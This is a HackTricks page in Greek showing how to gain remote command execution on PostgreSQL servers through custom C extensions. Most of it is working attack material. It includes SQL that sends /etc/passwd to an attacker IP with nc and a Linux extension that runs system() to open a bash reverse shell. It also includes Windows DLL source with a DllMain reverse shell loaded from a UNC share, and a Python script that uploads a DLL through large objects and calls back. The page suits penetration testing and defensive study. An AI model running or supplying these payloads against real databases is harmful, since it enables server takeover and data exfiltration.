RCE with PostgreSQL Extensions

Υποστήριξη HackTricks

Επεκτάσεις PostgreSQL

Η PostgreSQL έχει αναπτυχθεί με την επεκτασιμότητα ως βασικό χαρακτηριστικό, επιτρέποντας την απρόσκοπτη ενσωμάτωσή επεκτάσεων όπως αν ήταν ενσωματωμένες λειτουργίες. Αυτές οι επεκτάσεις, ουσιαστικά βιβλιοθήκες γραμμένες σε C, εμπλουτίζουν τη βάση δεδομένων με επιπλέον συναρτήσεις, τελεστές ή τύπους.

Από την έκδοση 8.1 και μετά, επιβάλλεται μια συγκεκριμένη απαίτηση στις βιβλιοθήκες επεκτάσεων: πρέπει να είναι συμπιεσμένες με μια ειδική κεφαλίδα. Χωρίς αυτό, η PostgreSQL δεν θα τις εκτελέσει, διασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και δυνητικά ασφαλείς επεκτάσεις.

Επίσης, έχετε υπόψη ότι αν δεν ξέρετε πώς να ανεβάσετε αρχεία στον θύμα εκμεταλλευόμενοι την PostgreSQL θα πρέπει να διαβάσετε αυτή την ανάρτηση.

RCE σε Linux

Για περισσότερες πληροφορίες ελέγξτε: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Η εκτέλεση συστημικών εντολών από την PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατόν να χρησιμοποιήσετε αυτό: Modul Metasploit.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Γράψτε δυαδικό αρχείο από base64

Για να γράψετε ένα δυαδικό αρχείο σε ένα αρχείο στο postgres, μπορεί να χρειαστεί να χρησιμοποιήσετε το base64, αυτό θα είναι χρήσιμο για αυτό το θέμα:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Ωστόσο, όταν επιχειρήθηκε σε μεγαλύτερες εκδόσεις εμφανίστηκε το εξής σφάλμα:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Αυτό το σφάλμα εξηγείται στην τεκμηρίωση του PostgreSQL:

Για να διασφαλιστεί ότι ένα δυναμικά φορτωμένο αρχείο αντικειμένου δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει ότι το αρχείο περιέχει ένα “μαγικό μπλοκ” με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα μαγικό μπλοκ απαιτείται από την έκδοση 8.2 του PostgreSQL. Για να συμπεριλάβετε ένα μαγικό μπλοκ, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγής του module, αφού έχετε συμπεριλάβει την κεφαλίδα fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο δύσκολη. Ο επιτιθέμενος απαιτείται είτε να χρησιμοποιήσει μια βιβλιοθήκη που είναι ήδη παρούσα στο σύστημα είτε να ανεβάσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί κατά της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "μαγικό μπλοκ". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια πιο βαθιά κατανόηση της αρχιτεκτονικής του συστήματος και της συμβατότητας εκδόσεων.

Μεταγλωττίστε τη βιβλιοθήκη

Αποκτήστε την έκδοση του PostgreSQL με:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Για συμβατότητα, είναι ουσιώδες οι κύριες εκδόσεις να ευθυγραμμίζονται. Επομένως, η σύνθεση μιας βιβλιοθήκης με οποιαδήποτε έκδοση εντός της σειράς 9.6.x θα πρέπει να διασφαλίσει επιτυχημένη ενσωμάτωση.

Για να εγκαταστήσετε αυτή την έκδοση στο σύστημά σας:

apt install postgresql postgresql-server-dev-9.6

Και να συντάξετε τη βιβλιοθήκη:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Στη συνέχεια, ανεβάστε τη συμπιεσμένη βιβλιοθήκη και εκτελέστε εντολές με:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Μπορείτε να βρείτε αυτή τη βιβλιοθήκη προετοιμασμένη για πολλές διαφορετικές εκδόσεις PostgreSQL και μπορείτε ακόμη να αυτοματοποιήσετε αυτή τη διαδικασία (αν έχετε πρόσβαση στο PostgreSQL) με:

RCE σε Windows

Η παρακάτω DLL δέχεται ως είσοδο το όνομα του δυαδικού και τον αριθμό των φορών που θέλετε να το εκτελέσετε και το εκτελεί:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Μπορείτε να βρείτε το DLL που έχει μεταγλωττιστεί σε αυτό το zip:

Μπορείτε να υποδείξετε σε αυτό το DLL ποιο δυαδικό να εκτελέσει και τον αριθμό των φορών που θα το εκτελέσει, σε αυτό το παράδειγμα θα εκτελέσει το calc.exe 2 φορές:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

Στο εδώ μπορείτε να βρείτε αυτό το reverse-shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Σημειώστε πώς σε αυτή την περίπτωση ο κακόβουλος κώδικας είναι μέσα στη συνάρτηση DllMain. Αυτό σημαίνει ότι σε αυτή την περίπτωση δεν είναι απαραίτητο να εκτελέσετε τη φορτωμένη συνάρτηση στο postgresql, απλώς φορτώνοντας το DLL θα εκτελέσει το reverse shell:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

Το PolyUDF project είναι επίσης ένα καλό σημείο εκκίνησης με το πλήρες έργο MS Visual Studio και μια έτοιμη προς χρήση βιβλιοθήκη (συμπεριλαμβανομένων: command eval, exec και cleanup) με υποστήριξη πολλαπλών εκδόσεων.

RCE στις πιο πρόσφατες εκδόσεις του PostgreSQL

Στις πιο πρόσφατες εκδόσεις του PostgreSQL, έχουν επιβληθεί περιορισμοί όπου ο superuser είναι απαγορευμένος από το φορτώσει αρχεία κοινής βιβλιοθήκης εκτός από συγκεκριμένους καταλόγους, όπως C:\Program Files\PostgreSQL\11\lib στα Windows ή /var/lib/postgresql/11/lib σε συστήματα *nix. Αυτοί οι κατάλογοι είναι ασφαλισμένοι κατά των λειτουργιών εγγραφής είτε από τους λογαριασμούς NETWORK_SERVICE είτε postgres.

Παρά αυτούς τους περιορισμούς, είναι δυνατόν για έναν αυθεντικοποιημένο superuser της βάσης δεδομένων να γράψει δυαδικά αρχεία στο σύστημα αρχείων χρησιμοποιώντας "μεγάλες αντικείμενα." Αυτή η δυνατότητα επεκτείνεται στη γραφή εντός του καταλόγου C:\Program Files\PostgreSQL\11\data, ο οποίος είναι απαραίτητος για τις λειτουργίες της βάσης δεδομένων όπως η ενημέρωση ή η δημιουργία πινάκων.

Μια σημαντική ευπάθεια προκύπτει από την εντολή CREATE FUNCTION, η οποία επιτρέπει την περιήγηση καταλόγων στον κατάλογο δεδομένων. Ως εκ τούτου, ένας αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την περιήγηση για να γράψει ένα αρχείο κοινής βιβλιοθήκης στον κατάλογο δεδομένων και στη συνέχεια να το φορτώσει. Αυτή η εκμετάλλευση επιτρέπει στον επιτιθέμενο να εκτελεί αυθαίρετο κώδικα, επιτυγχάνοντας εκτέλεση εγγενών κωδίκων στο σύστημα.

Ροή επίθεσης

Πρώτα απ' όλα πρέπει να χρησιμοποιήσεις μεγάλες αντικείμενα για να ανεβάσεις το dll. Μπορείς να δεις πώς να το κάνεις αυτό εδώ:

Big Binary Files Upload (PostgreSQL)

Μόλις ανεβάσεις την επέκταση (με το όνομα poc.dll για αυτό το παράδειγμα) στον κατάλογο δεδομένων, μπορείς να την φορτώσεις με:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Σημειώστε ότι δεν χρειάζεται να προσθέσετε την επέκταση .dll καθώς η δημιουργία της συνάρτησης θα την προσθέσει.

Για περισσότερες πληροφορίες διαβάστε την αρχική δημοσίευση εδώ. Σε αυτή τη δημοσίευση αυτός ήταν ο κώδικας που χρησιμοποιήθηκε για τη δημιουργία της επέκτασης postgres (για να μάθετε πώς να μεταγλωττίσετε μια επέκταση postgres διαβάστε οποιαδήποτε από τις προηγούμενες εκδόσεις). Στην ίδια σελίδα δόθηκε αυτή η εκμετάλλευση για την αυτοματοποίηση αυτής της τεχνικής:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Αναφορές

Υποστήριξη HackTricks

Last updated